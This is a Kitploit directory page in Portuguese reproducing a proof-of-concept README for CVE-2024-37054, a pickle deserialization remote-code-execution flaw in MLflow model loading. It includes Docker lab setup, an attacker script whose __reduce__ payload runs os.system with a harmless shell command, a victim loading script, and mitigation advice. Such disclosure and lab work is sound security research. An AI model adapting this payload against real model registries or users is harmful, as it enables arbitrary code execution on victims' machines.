Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-37054-MLflow-RCE — NiteeshPujari/CVE-2024-37054, Este repositório contém uma Prova de Conceito (PoC) de uma vulnerabilidade crítica de desserialização no MLflow que permite Execução Remota de Código (RCE). | Kitploit
Ferramentas/GitHubGitHub/niteeshpujari/cve-2024-37054-mlflow-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubniteeshpujari/cve-2024-37054-mlflow-rce

CVE-2024-37054-MLflow-RCE

NiteeshPujari/CVE-2024-37054, Este repositório contém uma Prova de Conceito (PoC) de uma vulnerabilidade crítica de desserialização no MLflow que permite Execução Remota de Código (RCE).

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
3há 0 anosAinda não revisado
root@kitploit:~
  __  __  _      _____  _      ___ __        __
 |  \/  || |    |  ___|| |    / _ \\ \      / /
 | |\/| || |    | |_   | |   | | | |\ \ /\ / / 
 | |  | || |___ |  _|  | |___| |_| | \ V  V /  
 |_|  |_||_____||_|    |_____|\___/   \_/\_/   
                                               
  ____    ____  _____   ____          ____     
 |  _ \  / ___|| ____| |  _ \  ___   / ___|    
 | |_) || |    |  _|   | |_) |/ _ \ | |        
 |  _ < | |___ | |___  |  __/| (_) || |___     
 |_| \_\ \____||_____| |_|    \___/  \____|    
                                                                 

CVE-2024-37054: Prova de Conceito de Execução Remota de Código no MLflow

CVE Licença GitHub LinkedIn


Este repositório contém uma Prova de Conceito (PoC) para a CVE-2024-37054, uma vulnerabilidade crítica de desserialização no MLflow que permite Execução Remota de Código (RCE).

📚 Índice

  • Detalhes da Vulnerabilidade
  • Prova de Conceito (PoC)
  • Mitigação
  • Referências
  • Sobre o Autor

🚨 Detalhes da Vulnerabilidade

  • CVE ID: CVE-2024-37054
  • Resumo: Existe uma vulnerabilidade de desserialização na função mlflow.pyfunc.load_model. Um atacante pode criar um modelo malicioso contendo um payload empacotado (pickle). Quando uma vítima carrega este modelo, o payload é desserializado via cloudpickle.load, levando à execução arbitrária de código na máquina da vítima.
  • Produtos Afetados: Versões do MLflow desde 0.9.0 até, mas não incluindo, 2.14.2.
  • Função Vulnerável: _load_pyfunc dentro de mlflow/pyfunc/model.py.

🛠️ Prova de Conceito (PoC)

Esta PoC simula dois papéis: um Atacante que envia um modelo malicioso e uma Vítima que o carrega, acionando a RCE.

1. Configuração do Ambiente

A maneira mais fácil de configurar um servidor MLflow vulnerável é usando o Dockerfile fornecido.

Construir e Executar o Container Docker:

root@kitploit:~
# 1. Construir a imagem Docker
docker build -t mlflow-vulnerable .

# 2. Executar o container, mapeando a porta 5000 para o host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable

Seu servidor MLflow vulnerável está agora rodando em http://127.0.0.1:5000.

2. Passos de Execução

Você precisará de dois terminais separados na sua máquina host. Certifique-se de ter uma versão vulnerável do mlflow instalada localmente (pip install mlflow==2.14.1) para executar os scripts do cliente.

Parte 1: Atacante - Registrar o Modelo Malicioso

No seu primeiro terminal, execute o script do atacante para registrar o modelo malicioso.

Clique para ver o Script do Atacante (poc/log_malicious_model.py)
root@kitploit:~
# poc/log_malicious_model.py
import mlflow
import os

# A URI do seu servidor de tracking MLflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"

class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
    def __init__(self):
        class CommandRunner:
            def __reduce__(self):
                cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
                return (os.system, (cmd,))
        self.payload = CommandRunner()

    def predict(self, context, model_input):
        return "This model is a malicious payload."

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    mlflow.set_experiment("Security Demos")
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(
            artifact_path="model",
            python_model=MaliciousCodeWrapper(),
            registered_model_name=REGISTERED_MODEL_NAME
        )
    print(f"[*] Modelo malicioso '{REGISTERED_MODEL_NAME}' foi registrado.")

Execute:

root@kitploit:~
python poc/log_malicious_model.py

Parte 2: Vítima - Carregar o Modelo Vulnerável

No seu segundo terminal, execute o script da vítima para simular o carregamento do modelo comprometido.

Clique para ver o Script da Vítima (poc/load_vulnerable_model.py)
root@kitploit:~
# poc/load_vulnerable_model.py
import mlflow

MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1 

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
    print(f"[*] VÍTIMA: Tentando carregar modelo da URI: {model_uri}")
    print("[*] O payload será executado na próxima linha...")
    try:
        loaded_model = mlflow.pyfunc.load_model(model_uri)
        print("\n[*] Modelo carregado com sucesso.")
    except Exception as e:
        print(f"\n[!] Ocorreu um erro: {e}")

Execute:

root@kitploit:~
python poc/load_vulnerable_model.py

3. Observe o Resultado

Após executar o script da vítima, você verá a mensagem /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found no terminal, e um novo arquivo chamado pwned.txt será criado no seu diretório. Isso confirma a execução bem-sucedida do comando.


🛡️ Mitigação

  • Atualize o MLflow: Atualize para a versão 2.14.2 ou posterior, onde esta vulnerabilidade foi corrigida.
  • Nunca carregue modelos não confiáveis: Carregue apenas modelos de ML de fontes em que você confia totalmente.

🔍 Referências

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-37054
  • Comunicado Original: https://hiddenlayer.com/sai-security-advisory/2024-06-mlflow

👨‍💻 Sobre o Autor

Esta Prova de Conceito foi desenvolvida por Pujari Niteesh.

  • Engenheiro de Pesquisa em Segurança Cibernética
  • GitHub: NiteeshPujari
  • LinkedIn: NiteeshPujari
  • Site: www.niteesh.in
Baixar ferramenta